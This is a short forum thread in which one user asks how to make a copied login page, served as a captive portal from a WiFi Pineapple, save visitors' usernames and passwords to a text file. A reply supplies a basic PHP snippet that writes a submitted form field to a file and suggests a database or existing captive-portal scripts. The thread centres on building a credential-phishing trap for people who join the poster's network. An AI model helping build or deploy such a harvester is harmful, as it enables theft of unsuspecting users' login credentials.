carlossousa1994 Posted September 13, 2015 Share Posted September 13, 2015 Hello Can someone help me create a php script to store credentials writen in a htlm file i copied from an existing page?My ideia is to redirect everyone who conects to my wifi pineapple to the page (captive portal), i already modified the html so when someone click the Login button it executes a php file (login.php) and the php creates a txt (passwords.txt) where the login and password will be stored but i dont know what code should i write in the php file so it can catch the writen user and pass and store it in the txt.The files are atached in this post.Can someone with php and html coding skills take a look and tell me how the php file should be in order to write the user/pass in the txt? files.rar Quote Link to comment Share on other sites More sharing options...
vailixi Posted September 15, 2015 Share Posted September 15, 2015 (edited) Maybe something like this: <html> <body> <form name="form" method="post"> <input type="text" name="text_box" size="63"/> <input type="submit" id="search-submit" value="submit" /> </form> </body> </html> <?php if(isset($_POST['text_box'])) { $a = $_POST['text_box']; $myFile = "t.txt"; $fh = fopen($myFile, 'w') or die("cannot open file"); fwrite($fh, $a); fclose($fh); } ?> You could always store the passwords in a mysql database. Also I'm pretty sure there are many captive portal scripts you could use or mod. Edited September 15, 2015 by vailixi Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.